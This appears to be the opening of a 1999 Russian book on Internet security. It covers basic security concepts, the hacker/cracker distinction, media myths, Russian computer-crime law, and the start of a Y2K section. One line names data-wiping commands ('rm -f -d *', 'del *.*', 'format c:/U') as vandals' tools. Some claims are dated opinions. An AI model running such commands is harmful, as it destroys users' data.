Медведовский И.Д., Семьянов П.В., Платонов В.В.

                          "Атака через Internet"

                                 (книга 2)

                                предисловие


  Предыдущая книга <Атака через Internet> вызвала широкий отклик у наших
читателей. За прошедшие два года с момента ее выхода постоянно меняющийся
мир Internet преподнес всем нам много нового в такой интересной и
чрезвычайно динамичной области, как информационная безопасность
вычислительных сетей. Мы не могли остаться в стороне от этого процесса -
удивительный мир информационных воздействий сильно притягивает к себе, а
однажды вступив на этот путь, уже невозможно остановиться, так как очень
интересно узнать, что же там, за горизонтом...


  Прошло два года - до горизонта все еще далеко, следовательно, у нашей науки есть настоящее и будущее: <Я
мыслю - значит, я существую>. Мы не оговорились, безопасность сетей - это именно наука, только она столь
тесно переплетена с практикой, что многие об этом иногда забывают. Надеемся, что созданный нами в этой
книге <сплав> науки и практики не оставит равнодушными наших читателей, и они смогут почерпнуть для себя
много нового и интересного.


  О чем эта книга


  О безопасности сети Internet, а если точнее - о той опасности, которая угрожает всем пользователям Сети.

  Главная цель авторов - показать, что Internet как величайшее информационное достижение человечества поми-
мо очевидных достоинств обладает рядом существенных недостатков в системе безопасности. Основываясь на
своих практических исследованиях безопасности Сети и анализе доступной информации, мы попытались как
можно более подробно и точно описать те возможные удаленные информационные разрушающие воздействия
(удаленные атаки), о которых ходят слухи и мифы в среде пользователей Internet и которые в любой момент
могут пожаловать к вам в качестве незваных гостей. А для того, чтобы оказать им достойную встречу,
необходимо знать основные тины возможных атак и понимать механизмы их реализации. Авторам хотелось бы
надеяться, что наша цель - повышение уровня информированности специалистов и пользователей Internet о тех
угрозах информационной безопасности, которые таит в себе Сеть, - все-таки будет достигнута!

  Отличия этой книги от других изданий по безопасности Internet
Неординарность подхода состоит в том, что его основу составляет анализ алгоритмических и технических
особенностей реализации Internet, используемых нарушителями безопасности Сети. Интернет с этой точки
зрения авторы, подробно изучив механизмы реализации удаленных атак, рассматривают возможные способы
защиты от них, По нашему мнению, предлагаемый подход позволяет указать па причины недостатков Сети и,
тем самым, сосредоточиться на мерах, которые должны быть приняты в первую очередь, чтобы обеспечить
опережающие действия для блокирования возможной атаки, а не устранения ее последствий. Опережая
возможные упреки в опасности раскрытия механизмов атак, мы считаем необходимым отметить следующее:

  1. Знание механизмов атак позволяет в большинстве случаев предотвратить их путем правильного
администрирования. Принцип <кто предупрежден - тот вооружен> оправдывает себя и данной ситуации и ли-
шает напаивающую сторону преимуществ внезапности и скрытности.

  2. Информация об атаках в Сети основывается исключительно на открытых источниках. Правда об Internet,
сопровождаемая понятными специалистам доводами, важнее для пользователя, чем неясные слухи о <страшных
вторжениях в каждый компьютер> или рекламная информация о <достаточной мере защиты>. Реальная оценка
позволит точно установить риск использования Сети и требования к режиму ее использования.

  Вопросы, оставшиеся за пределами данной книги
Осветить проблему безопасности сети Internet в целом не входило в наши планы. Мы не рассматривали
безопасность электронной почты (программу PGP и т.п.), проблемы с безопасностью, возникающие при
переходе на новый стандарт IPv6, почти не затронуты средства криптографической защиты (типа Kerberos).

  Кроме того, мы не стремились подробно описывать такие хорошо известные и, видимо, порядком уже
поднадоевшие читателям методы и средства защиты в сети Internet, как Firewall, SSL, SKIP, S-HTTP.

  Чем настоящее издание отличается от предыдущего <Атака через Internet>
Мы надеемся, что уважаемый читатель уже имел возможность познакомиться с предыдущей книгой <Атака
через Internet>. Тогда попробуем предвосхитить вопрос читателей об отличиях двух изданий и в этом разделе о
них рассказать.

  Во-первых, изменился состав авторов: вместо В. Платонова, написавшего в предыдущем издании вторую
главу, появился новый автор - Д. Леонов, который написал десятую главу. Также в создании книги принимал
участие Е. Ильченко - автор второй главы.

  Во-вторых, существенно изменилось наполнение книги. Ее объем увеличен нами более чем в полтора раза за
счет новых глав, посвященных Web-безопасности, социальной инженерии, методам сканирования, и отдельного
раздела, написанного, по многочисленным пожеланиям наших читателей, о безопасности Windows NT. Кроме
того, на основе проведенных нами исследований безопасности различных систем за два года, прошедших с
момента выхода первой книги, существенно доработаны старые главы.

  В-третьих, исправлены некоторые досадные технические ошибки и опечатки, присущие предыдущему
изданию.

  Авторы выражают благодарность всему коллективу кафедры информационной безопасности компьютерных
систем Санкт-Петербургского государственного технического университета и отдельно Александру Монину за
оформление большинства графических материалов книги, а также Евгению Ильченко - аспиранту Томского
государственного университета - за помощь при составлении данной книги.

  В завершение мы желаем всем нашим читателям обращать должное внимание на проблемы
информационной безопасности и надеемся помочь вам как этой книгой, так п, возможно, лично в качестве
независимых экспертов. Специалистам понятна сложность в изложении столь деликатного вопроса, как
безопасность сети, поэтому авторы будут благодарны читателям за отзывы.

  Авторский коллектив:

  Илья Медведовский - руководитель отдела информационной безопасности Notes Development, ведущий
раздела <Информационная безопасность> журнала BYTE/Росспя, i1ya@blader.com;
Павел Семьянов - старший преподаватель кафедры информационной безопасности компьютерных систем
СП6ГТУ, psw@ssl.stu.neva.ru;
Дмитрий Леонов - главный редактор журнала  и создатель одноименного
сайта, web@hackzone.ru.


  Условные обозначения
I Эта пиктограмма обращает внимание на дополнительные сведении ния, связанные с обсуждаемой темой.

  ! Пиктограмма обозначает утверждение.

  - > Текст содержит следствие из предшествующего утверждения



                                      Часть I


                                  глава I

                            О ХАКЕРАХ И НЕ ТОЛЬКО...


  Но сначала нам надо с тобой договориться, как именно мы определим, о чем мы советуемся, дабы не
выходило, что я разумею одно, ты же - другое...

  ' Платон. Диалоги
В последние полтора-два года книжные прилавки стали заполняться всевозможными' книгами и журналами,
в названиях которых присутствует слово . Это свидетельство того, что Internet пришел в России).

  Появились пользователи и провайдеры, с каждым днем растет количество всевозможных сайтов, начали
формироваться свои службы, да и престиж заставляет некоторых людей подключаться к Сети. Появился и спрос
на специальную литературу.

  Практически в каждой такой книге имеется глава, раздел или параграф, посвященный безопасности. Однако
анализ этого материала показывает, что главные вопросы - безопасна ли глобальная сеть и как защитить свой
компьютер, подключенный к ней, - так и остаются без ответа.

  Предлагаемая читатели) книга целиком посвящена проблеме безопасности Internet. В отличие от других
подобных изданий, она построена по принципу анализа возможных и существующих уязвимостей Сети, кото-
рые реализуются или могут быть реализованы в Internet. В книге рассматривается практически все, что грозит
пользователю при работе с Internet, что поджидает каждого в этом удивительно интересном, но, подчеркиваем,
опасном путешествии по Сети.

  Основные понятия компьютерной безопасности
Для того чтобы рассматривать в дальнейшем вопросы .защиты в Internet, необходимо напомнить основные
понятия, которыми оперирует теория компьютерной безопасности. Вообще говоря, их всего три: это угрозы,
уязвимости и атаки. Хотя искушенному читателю смысл их и так хорошо ясен, постараемся пояснить его.

  Итак, угроза безопасности компьютерной системы - это потенциально возможное происшествие, неважно,
преднамеренное или нет, которое может оказать нежелательное воздействие на саму систему, а также на
информацию, хранящуюся в ней. Иначе говоря, угроза - это нечто плохое, что когда-нибудь может произойти.

  Уязвимость компьютерной системы - это некая ее неудачная характеристика, которая делает возможным
возникновение угрозы. Другими словами, именно из-за наличия уязвимостей в системе происходят нежелатель-
ные события.

  Наконец, атака на компьютерную систему - это действие, предпринимаемое злоумышленником, которое
заключается в поиске и использовании той или иной уязвимости. Таким образом, атака - это реализация угрозы.

  Заметим, что такое толкование атаки (с участием человека, имеющего злой умысел) исключает
присутствующий в определении угрозы элемент случайности, но, как показывает опыт, различить
преднамеренные и случайные действия бывает невозможно и хорошая система защиты должна адекватно
реагировать на любое из них.

  Исследователи обычно выделяют три основных вида угроз безопасности - это угрозы раскрытия,
целостности и отказа в обслуживании.

  Угроза раскрытия заключается том, что информация становится известной тому, кому не следовало бы ее
знать. В терминах компьютерной безопасности угроза раскрытия имеет место всякий раз, когда получен доступ
к некоторой конфиденциальной информации, хранящейся в вычислительной системе или передаваемой от
одной системы к другой. Иногда вместо слова <раскрытие> используются термины <кража> или <утечка>.

  Угроза целостности включает в себя любое умышленное изменение (модификацию или даже удаление)
данных, хранящихся в вычислительной системе или передаваемых из одной системы в другую. Обычно
считается, что угрозе раскрытия подвержены в большей степени государственные структуры, а угрозе
целостности - деловые или коммерческие.

  Угроза отказа в обслуживании возникает всякий раз, когда в результате определенных действий
блокируется доступ к некоторому ресурсу вычислительной системы. Реально блокирование может быть
постоянным, так чтобы запрашиваемый ресурс никогда не был получен, или может вызвать только задержку,
достаточно долгую для того, чтобы он стал бесполезным. В таких случаях говорят, что ресурс исчерпан. В
локальных вычислительных системах (ВС) наиболее частыми являются угрозы раскрытия и целостности, а в
глобальных, как будет показано далее, - на первое место выходит угроза отказа в обслуживании.


  Особенности безопасности компьютерных сетей
Основной особенностью любой сетевой системы является то, что ее компоненты распределены в
пространстве, а связь между ними осуществляется физически, при помощи сетевых соединений (коаксиальный
кабель, витая пара, оптоволокно и т. п.), и программно, при помощи механизма сообщений. При этом все
управляющие сообщения и данные, пересылаемые между объектами распределенной вычислительной системы,
передаются по сетевым соединениям в виде пакетов обмена.

  К сетевым системам, наряду с обычными (локальными) атаками, осуществляемыми в пределах одной
компьютерной системы, применим специфический вид атак, обусловленный распределенностью ресурсов и
информации в пространстве,- так называемые сетевые (или удаленные) атаки (remote или network attacks). Они
характеризуются, во-первых, тем, что злоумышленник может находиться за тысячи километров от атакуемого
объекта, и, во-вторых, тем, что нападению может подвергаться не конкретный компьютер, а информация,
передающаяся по сетевым соединениям, С развитием локальных и глобальных сетей именно удаленные атаки
становятся лидирующими как по количеству попыток, так и по успешности их применения, и, соответственно,
обеспечение безопасности ВС с точки зрения противостояния сетевым атакам приобретает первостепенное
значение.

  Под удаленной атакой обычно понимается информационное разрушающее воздействие на распределенную
ВС, программно осуществляемое по каналам связи. Такое определение охватывает обе особенности сетевых си-
стем - распределенность компьютеров и распределенность информации. Поэтому далее будут рассмотрены два
подвида таких атак - это удаленные атаки на инфраструктуру и протоколы сети и удаленные атаки на опера-
ционные системы и приложения. При этом под инфраструктурой сети мы понимаем сложившуюся систему
организации отношений между объектами сети и используемые в сети сервисные службы, а под
операционными системами и приложениями - все программное обеспечение, работающее на удаленном
компьютере, которое тем или иным образом обеспечивает сетевое взаимодействие.

  Что такое хорошо и что такое плохо
Просматривая большое количество статей (главным образом, в электронных журналах) о проблемах
компьютерного взлома, нельзя не обратить внимание на тот факт, что ни в одной из них не проводится та грань,
которая, как нам кажется, четко разделяет всех, так или иначе связанных с компьютерной безопасностью. В
основном мнение компьютерного мира по этому поводу либо сугубо негативное (хакеры - это преступники),
либо скромно-позитивное (хакеры - <санитары леса>). На самом деле у этой проблемы существует, по меньшей
мере, две стороны, положительная и отрицательная, и между ними проходит четкая граница. Эта граница
разделяет всех профессионалов, связанных с информационной безопасностью, на хакеров (hackers) и кракеров
(crackers). И те, и другие во многом занимаются решением одних и тех же задач - поиском уязвимостей в
вычислительных системах и осуществлением на них атак (<взломом>).

  Принципиальное различие между хакерами и кракерами состоит в целях, которые они преследуют.

  Основная задача хакера в том, чтобы, исследуя вычислительную систему, обнаружить слабые места
(уязвимости) в ее системе безопасности и информировать пользователей и разработчиков системы с целью
последующего устранения найденных уязвимостей. Другая задача хакера - проанализировав существующую
безопасность вычислительной системы, сформулировать необходимые требования и условия повышения
уровня ее защищенности.

  С другой стороны, основная задача кракера состоит в непосредственном осуществлении взлома системы с
целью получения несанкционированного доступа к чужой информации - иначе говоря, для ее кражи, подмены
или для объявления факта взлома. Кракер, по своей сути, ничем не отличается от обычного вора,
взламывающего чужие квартиры и крадущего вещи. Он взламывает вычислительные системы и крадет чужую
информацию. Итак, кардинальное различие между хакерами и кракерами в том, что первые -исследователи
компьютерной безопасности, а вторые - просто воры или вандалы. Хакер в данной терминологии - это
специалист. В качестве доказательства приведем определение из словаря Guy L. Steele.

  HACKER, сущ. 1. Индивидуум, который получает удовольствие от изучения деталей функционирования
компьютерных систем и от расширения их возможностей, в отличие от большинства пользователей
компьютеров, которые предпочитают знать только необходимый минимум. 2. Энтузиаст-программирования;
индивидуум, получающий удовольствие от самого процесса программирования, а не от теоретизирования по
этому поводу.

  Данная трактовка термина <хакер> отличается от принятой в средствах массовой информации, которые,
собственно, и привели к подмене понятий. В последнее время многие специалисты по компьютерной
безопасности (особенно на Западе) стали аккуратнее относиться к этим терминам, и мы в подобной трактовке
терминов уже не одиноки.

  Низменность мотивов кракеров и отсутствие стремления к профессиональному росту приводят к тому, что
90°о из них являются <чайниками>, которые взламывают плохо администрируемые системы, в основном ис-
пользуя чужие программы (обычно такая программа называется exploit). Причем это мнение тех самых 10%
профессиональных кракеров - бывших хакеров, ставших на путь нарушения закона. Их, в отличие от кракеров-
<чайников>, остановить действительно очень сложно, но, как показывает практика, отнюдь нс невозможно (см.

  противоборство Митника и Шимо-муры в главе 4). Очевидно, что для предотвращения возможного взлома или
устранения его последствий требуется пригласить квалифицированного специалиста по информационной
безопасности - профессионального хакера.

  Однако было бы несправедливо смешать в одну кучу всех кракеров, однозначно назвав их ворами. По
нашему мнению, кракеров можно разделить на три следующих класса в зависимости от цели, с которой осуще-
ствляется взлом: вандалы, <шутники> и профессиональные взломщики.

  Вандалы - самая известная (во многом благодаря широкому распространению вирусов, а также творениям
некоторых журналистов) и, надо сказать, самая малочисленная (к счастью) часть кракеров. Их основная цель -
взломать систему для ее дальнейшего разрушения. К ним можно отнести, во-первых, любителей команд типа
rm -f -d *, del *.*, format c:/U и т. д. и, во-вторых, специалистов в написании вирусов или <троянских> коней.

  Совершенно естественно, что весь компьютерный мир ненавидит краке-ров-вандалов лютой ненавистью. Эта
стадия кракерства характерна для новичков и быстро проходит, если кракер продолжает совершенствоваться
(ведь довольно скучно осознавать свое превосходство над беззащитными пользователями). Кракеров, которые
даже с течением времени не миновали эту стадию, а только все более оттачивали свои навыки разрушения,
иначе, чем социальными психопатами, не назовешь.

  <Шутники> - наиболее безобидная часть кракеров (конечно, в зависимости от того, насколько злые они
предпочитают шутки), основная цель которых - известность, достигаемая путем взлома компьютерных систем и
внесения туда различных эффектов, выражающих их неудовлетворенное чувство юмора. К <шутникам> также
можно отнести создателей вирусов с различными визуально-звуковыми эффектами (музыка, дрожание или
переворачивание экрана, рисование всевозможных картинок и т. п.). <Шутники>, как правило, не наносят
существенного ущерба компьютерным системам и их администраторам (разве что моральный). На сегодняшний
день в Internet это наиболее распространенный класс кракеров, обычно осуществляющих взлом Web-серверов,
чтобы оставить там упоминание о себе. Все это либо невинные шалости начинающих, либо рекламные акции
профессионалов.

  Взломщики - профессиональные кракеры, пользующиеся наибольшим почетом и уважением в кракерской
среде. Их основная задача - взлом компьютерной системы с серьезными целями, например с целью кражи или
подмены хранящейся там информации. Как правило, для того чтобы осуществить взлом, необходимо пройти
три основные стадии: исследование вычислительной системы с выявлением в ней изъянов (уязвимостей), раз-
работка программной реализации атаки и непосредственное ее осуществление. Естественно, настоящим
профессионалом можно считать только того кракера, который для достижения своей цели проходит все три ста-
дии. С небольшой натяжкой профессионалом можно также считать того кракера, который, используя добытую
третьим лицом информацию об уязвимости в системе, пишет ее программную реализацию (exploit). Осуще-
ствить третью стадию, используя чужие разработки, очевидно, может практически каждый.

  Если абстрагироваться от предмета кражи, то работа взломщиков - это обычное воровство. К сожалению, в
России все не так просто. Конечно, взлом компьютерных систем ни в коем случае нельзя назвать достойным
делом, но в стране, где большая часть находящегося у пользователей программного обеспечения является
пиратским (хотя ситуация, наконец, меняется в лучшую сторону - становится модным использовать легальное
ПО), то есть украденным не без помощи тех же взломщиков, почти никто не имеет морального права <бросить в
них камень>.

  В этой книге мы ограничимся рассмотрением хакеров-кракеров с позиций распределенных систем, однако
не нужно забывать, что самая многочисленная категория кракеров занимается более обыденными вещами,. а
именно: снятием защиты с коммерческих версий программных продуктов, изготовлением регистрационных
ключей (registration key) для условно бесплатных программ (shareware) и т. п.

  Цели кракера
Итак, какие же цели преследует кракер, атакующий извне ваш компьютер? Очевидно, их может быть
несколько:

  
 получить доступ к важной информации, хранящейся у вас. Вероятно, вы крупная компьютерная шишка, и
за вами серьезно охотятся (если, конечно, этой информацией не является несколько гигабайт изображений
высокого разрешения);

 получить доступ к ресурсам вашей системы. Это может быть как процессорное время (особенно, если вы
обладаете суперкомпьютером), так и /щсковое пространство (например, для организации пиратского ftp-сайта).

  В этом случае вы не только ничего не потеряете, но и, возможно, приобретете честно украденное программное
обеспечение стоимостью много тысяч долларов;

 нарушить работоспособность вашего хоста без реализации угрозы раскрытия. Это бывает опасно, если ваш
хост должен обеспечивать бесперебойное обслуживание клиентов;

 иметь плацдарм для осуществления вышеназванных целей, но для атаки на другой компьютер - тогда в
журналах атакованного компьютера будет значиться, что атака осуществлялась с вашего адреса. Вы, конечно,
будете доказывать, что вы тут ни при чем, и, вероятно, докажете это, но инцидент доставит вам несколько
неприятных минут и вы услышите обидные слова об уровне защиты вашего хоста;

 запустить пробный шар, отладить механизмы атак на другие системы. Не расстраивайтесь, ведь это
доказательство того, что вы не так уж бесполезны в сети, в отличие от других хостов, на которые никогда никто
не нападал и которые остро ощущают свою ненужность.

  Сетевая информационная безопасность: мифы и реальность
Всемогущество хакеров
Глубокое непонимание большинством обывателей проблем, связанных с информационной безопасностью в
вычислительных системах, с течением времени сформировало определенный миф о всемогуществе хакеров и
повсеместной беззащитности компьютерных систем. Действительно, современные вычислительные системы и
сети общего назначения имеют серьезнейшие проблемы с безопасностью. Но, подчеркнем, именно вычисли
тельные системы общего назначения. Там же, где требуется обработка критической информации и обеспечение
высшего уровня защиты и секретности (например, в военной области, в атомной энергетике и т. и.), исполь-
зуются специализированные защищенные ВС, которые (н это чрезвычайно важно!) в основном изолированы от
сетей общего назначения (от сети Internet, например). Поэтому необходимо развеять первый миф, исключи-
тельно популярный в художественной литературе, кино, а также в средствах
массовой информации: кракер не может проникнуть извне в вычислительную систему стратегического
назначения (например, в ВС атомной станции или пункта управления стратегическими вооружениями).

  Новую жизнь в этот миф вдохнул последний военный конфликт в Югославии. Согласно сообщениям
российских СМИ, складывалось ощущение, что военные сети НАТО полностью беззащитны и полный контроль
над ними имеют <отважные хакеры>. Естественно, что если такие перлы попадали в электронные эхо-
конференции, то только в разделы юмора,
Тем не менее мы говорим лишь о невозможности получения несанкционированного удаленного доступа
именно извне. В том случае, если нанести ущерб системе вознамерится кракер из состава персонала
защищенной ВС, то сложно абстрактно судить, насколько успешны будут его попытки.

  В качестве примера напомним случай на Игналинской АЭС, когда местный системный программист
внедрил в ВС программную закладку (<троянского> коня), которая чуть не привела к аварии на станции.

  Однако, как утверждает статистика, нарушения безопасности системы собственным персоналом составляют
около 90% от общего числа нарушений. Итак, критические вычислительные системы нельзя назвать
неуязвимыми, но реализовать на них успешную удаленную атаку практически невозможно.

  Прочитав этот раздел, недоверчивый читатель может заметить, что он лично встречал заметки о том, как
<кракеры проникли в компьютер Пентагона или НАСА>. Все дело в том, что любая уважающая себя
организация, будьте ЦРУ, АН Б или НАСА, имеет свои WWW- или ftp-серверы, находящиеся в открытой сети и
доступные всем. И кракеры в этом случае проникали именно в них (а ни в коем случае не в секретные или
закрытые сети), используя, может быть, один из механизмов, описанных в нашей книге.

  Защита банковских систем
Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей беззащитности банковских
вычислительных систем. Да, действительно, в отличие от ВС стратегического назначения, банки из-за
конкурентной борьбы между собой вынуждены для обеспечения удобства и быстродействия работы с
клиентами предоставлять им возможность удаленного доступа из сетей общего пользования к своим
банковским вычислительным системам. Однако, во-первых, для связи в этом случае используются защищенные
криптопротоколы и разнообразные системы сетевой защиты (например, Firewall), и, во-вторых, предоставление
клиенту возможности удаленного доступа отнюдь не означает, что клиент может получить доступ
непосредственно к внутренней банковской сети. По мнению специалистов, зарубежные банковские ВС (про
отечественные мы не говорим, пока еще не достигнут соответствующий уровень автоматизации расчетов)
являются наиболее защищенными после ВС стратегического назначения.

  Однако в последние годы некоторым журналистам, в том числе и отечественным, в погоне за сенсацией
удалось (и не без успеха, особенно на основе реально имевшего место дела Левина) придумать миф о всеобщей
беззащитности банковских систем. Яркий пример подобных творений -статья г-на А. Какоткина
<Компьютерные взломщики>, опубликованная в еженедельнике <Аргументы и Факты> в феврале 1997 года.

  Вывод из этой статьи, перефразируя слова ее автора, можно сделать следующий: <Каждому хакеру - по
бронежилету и запасному процессору>. Не нужно быть крупным специалистом по компьютерной безопасности,
чтобы, прочитав эту статью, понять, что она неправдоподобна от начала и до конца (особенно смешно читать
<подробности> взлома банковской сети). Возможно, впрочем, что недостаточно просвещенного в этой области
журналиста некие люди ввели в заблуждение (или, что неудивительно, он просто чего-то не понял).

  Более интересным, на наш взгляд, вопросом является то, насколько надежно на самом деле защищены
банковские сети, особенно в том случае, если к ним предусмотрен удаленный доступ из сети Internet. К
сожалению, мы не можем дать точного ответа, пока специализированные системы безопасности банковских ВС
(естественно, под такими системами не имеются в виду операционные системы типа Novell NetWare, Windows
NT или 95, UNIX, которые хоть и часто применяются в банковской среде, но специализированными уж никак
не являются) не будут сертифицированы. Единственное, что можно гарантировать, - то, что с вероятностью
около 99,9% подобные системы будут подвергаться угрозе отказа в обслуживании, которая рассмотрена далее.

  Сетевые кракеры
Недоверие к описанным в средствах массовой информации способам того, как кракеры осуществляют взлом,
и того, к каким результатам это приводит, побудило нас подробнее рассмотреть вопрос: а реальны ли вообще
такие взломы?

  Так вот, ни одного подтвержденного факта осуществления целенаправленного взлома с помощью
программных средств (а не с помощью подкупа и т. и.) нам не удалось найти ни в России, ни за рубежом.

  Да, почти каждый день вскрываются WWW-серверы каких-то компаний. Но здесь жертва выбирается не
целенаправленно, а большей частью случайно: <повезет - не повезет>. Более того, подмена некоторых WWW-
страниц часто вовсе не означает, как будет показано в следующих главах, полного контроля над атакованным
хостом, злоумышленник может вообще не иметь к нему никакого доступа, а просто подменять эти страницы с
помощью перемаршрутизации. Собственно, взлом WWW-серверов и составляет 90°о всех проявлений якобы
всемогущих кракеров, обсуждаемых в сетевой и несетевой прессе.

  Легендарный Кевин Митник был по большей части именно легендарным. Его самая известная (и, возможно,
единственная реальная) атака обсуждается в четвертой главе этой книги. Даже если принять эту.атаку так, как
она преподносится (обратите внимание на наши сомнения по поводу квалификации Митника!), очевиден тот
факт, что она была придумана не им и осуществлена в то время, когда в Internet меньше всего беспокоились о
безопасности.

  Можно вспомнить еще дело Левина. Очень туманное дело. Если Левин (или кто-то еще) действительно
вскрыл CityBank, пользуясь только своей головой и руками, то мы готовы взять свои слова обратно. Но на
сегодняшний день наиболее убедительной является версия, что у него все же были сообщники в этом банке,
которые предоставили ему входное имя и пароль. Косвенным подтверждением этого служит факт, что
<гениальный взломщик банков> почему-то был гениален только в самом процессе взлома и вел себя, скажем, не
очень умно при сокрытии своих следов и противоборстве с правоохранительными органами.

  Все это позволяет нам предположить, что проблема сетевых кракеров в том виде, как она обычно
преподносится СМИ, на самом деле отсутствует. Да, много сил должно уделяться защите компьютерных систем
от <псевдохакеров>, которые считают себя профессионалами, умея запускать различные <нюки> (nuke) или
подбирать пароли типа . Они способны нанести этим определенный урон. Существуют, безусловно, и
более квалифицированные группы кракеров, занимающиеся, например, взломом WWW-серверов для
<увековечивания> собственного имени. Но у нас вызывает большое сомнение существование профессионалов, а
тем более налаженной индустрии, которая допускает взлом любого более-менее защищенного хоста <на заказ>.

  По собственному опыту мы можем предположить, что цена такого взлома должна быть в несколько раз больше,
чем ценность находящейся там информации, поэтому в ход идут старые проверенные методы типа вербовки
или подкупа.

  Резюмируя, мы считаем, что никаких сетевых кракеров, специализирующихся на вскрытии хостов за деньги
или с целью использования полученной информации для собственного обогащения, не существует. Их
квалификация должна быть настолько высока, что во всем мире таких людей можно без труда пересчитать, и
они наверняка явля1отся хакерами, а не кракерами.

  Межсетевые экраны Firewall как панацея от всех угроз
И последний миф - это миф о системах Firewall, как о <единственном надежном средстве обеспечения
безопасности> сегмента IP-сети, Да, сама суть методики Firewall является абсолютно непогрешимой и
логичной. Основной ее постулат заключается в создании bastion host (выделенный бастион), обеспечивающего
контроль за безопасностью в защищаемом сегменте сети и осуществляющего связь данного сегмента с внешним
миром. Но это все действует пока только в теории. На практике же все известные нам сегодня системы Firewall
неспособны к отражению большинства из описанных удаленных атак как на протоколы и инфраструктуру
сети, так и на операционные системы и приложения.

  Это, конечно, отнюдь не означает, что отразить данные удаленные атаки принципиально невозможно, -
именно в направлении обнаружения и отражения сетевых атак сейчас наиболее активно развивается
современная наука. По-видимому, все дело в том, что большинство разработчиков систем Firewall, как это часто
случается с разработчиками систем защиты ВС, никогда не были хакерами и, следовательно, смотрели на
проблему защиты IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.

  Статьи Уголовного кодекса Российской Федерации, связанные с преступлениями в сфере компьютерной
информации
Для тех, кто хочет посмотреть на проблему безопасности с другой стороны, со стороны кракера,
напоминаем, что с 1997 года начали действовать новые статьи УК РФ, где, к сожалению, довольно расплывчато
и нечетко описывается возможная уголовная ответственность за <преступления в севере компьютерной
информации> (глава 28 УК РФ):

  Статья 272. Неправомерный доступ к компьютерной информации.

  1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на
машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние
повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ,
системы ЭВМ
или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда
или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо
исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух
лет. 2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой,
либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ
или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда
или в размере заработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо
исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев,
либо лишением свободы на срок до пяти лет.

  Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ.

  1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо
приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию ин-
формации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение
таких программ или машинных носителей с такими программами, - наказываются лишением свободы на срок
до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере за-
работной платы или иного дохода осужденного за период от двух до пяти месяцев.

  2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -наказываются лишением свободы на
срок от трех до семи лет.

  Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети.

  1. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети лицом, имеющим доступ к ЭВМ,
системе ЭВМ или их сети, повлекшее уничтожение, блокирование или модификацию охраняемой законом
информации ЭВМ, если это деяние причинило существенный вред, -наказывается лишением права занимать
определенные должности или заниматься определенной деятельностью на срок до пяти лет, либо
обязательными работами на срок от ста восьмидесяти до двухсот сорока часов, либо ограничением свободы на
срок до двух лет. 2. То же деяние, повлекшее по неосторожности тяжкие последствия, -
наказывается лишением свободы на срок до четырех лет. По своей сути данный закон должен быть
направлен именно на краке-ров, однако такое правонарушение, как взлом программного обеспечения, даже не
упоминается. С другой стороны, расплывчатость формулировок статей закона, в случае их формальной
трактовки, позволяет привлечь к уголовной ответственности практически любого программиста или системного
администратора (например, допустившего ошибку, которая повлекла за собой причинение определенного
законом ущерба). Так что программы теперь лучше вообще не писать.

  Если же говорить серьезно, то применение на практике приведенных статей Уголовного кодекса
чрезвычайно затруднено. Это связано, во-первых, со сложной доказуемостью подобных дел (судя по
зарубежному опыту) и, во-вторых, с естественным отсутствием у следователей высокой квалификации в данной
области. Поэтому, видимо, пройдет еще не один год, пока мы дождемся успешного уголовного процесса над
преступниками в сфере компьютерной информации.

  Проблема 2000 года в свете информационной безопасности
Новое издание нашей книги выходит в 1999 году, и вполне естественным нашим желанием является
обратить внимание читателей на проблему 2000 года (Y2K), которую мы рассматриваем в несколько менее
традиционном аспекте - как с точки зрения информационной безопасности проблема Y2K повлияет на
киберпространство.

  Большинство исследований, посвященных этой проблеме, в основном содержат анализ причин возможных
отказов в работе прикладного или системного программного обеспечения, потери от таких отказов и меры по
предотвращению сбоев в работе программного обеспечения. Однако нельзя забывать о целом классе
программных средств, основная задача которых - обеспечение информационной безопасности (ПСОИБ - про-
граммные средства обеспечения информационной безопасности). В этом разделе мы рассмотрим виды ПСОИБ,
потенциально наиболее уязвимые по отношению к проблеме Y2K (программные средства, которые обраба-
тывают данные, связанные с системной датой), выделим различные модули ПСОИБ и рассмотрим возможные
причины, по которым проблема Y2K может иметь к ним непосредственное отношение.


  Возможные проблемы в модулях ПСОИБ
1. Проблемы с системами шифрования/цифровой подписи.

  При шифровании/дешифрировании сообщений, формировании или проверке электронной подписи, при
проверке подлинности сертификата, подтверждающего личность пользователя, программные реализации
криптосистем могут некорректно обрабатывать год создания сообщений, тем самым приводя к их частичной
или полной потере. Это может привести к нарушению функциональности криптосистем, вплоть до полной
невозможности отправлять или читать шифрограммы.

  Рассмотрим подробнее сущность данной проблемы. Любая криптосистема содержит в своей основе систему
анализа, хранения и распределения ключевой информации (сертификатов), предназначенной для шифрования
сообщений и идентификации/аутентификации пользователей. Все сообщения, передаваемые криптосистемой,
так или иначе шифруются с использованием данного сертификата, который, как правило, выдается на
определенный срок и, следовательно, с течением времени устаревает. Как следствие, системы шифрования
обязательно обладают встроенными модулями <временного> анализа, задача которых - сопоставлять дату
сертификата с текущей, указанной в шифрограмме, для того чтобы отфильтровать устаревшие или повторные
сообщения. Например, известная атака на криптосистемы связана с повторной передачей ранее перехваченных
зашифрованных сообщений. В случае успеха атаки, если данное сообщение будет воспринято системой, можно
вызвать повторную реакцию криптосистемы на данное сообщение, что приведет, например, к переполнению и
сбою системы (в случае направленного шторма повторными сообщениями). В связи с этим криптосистемы
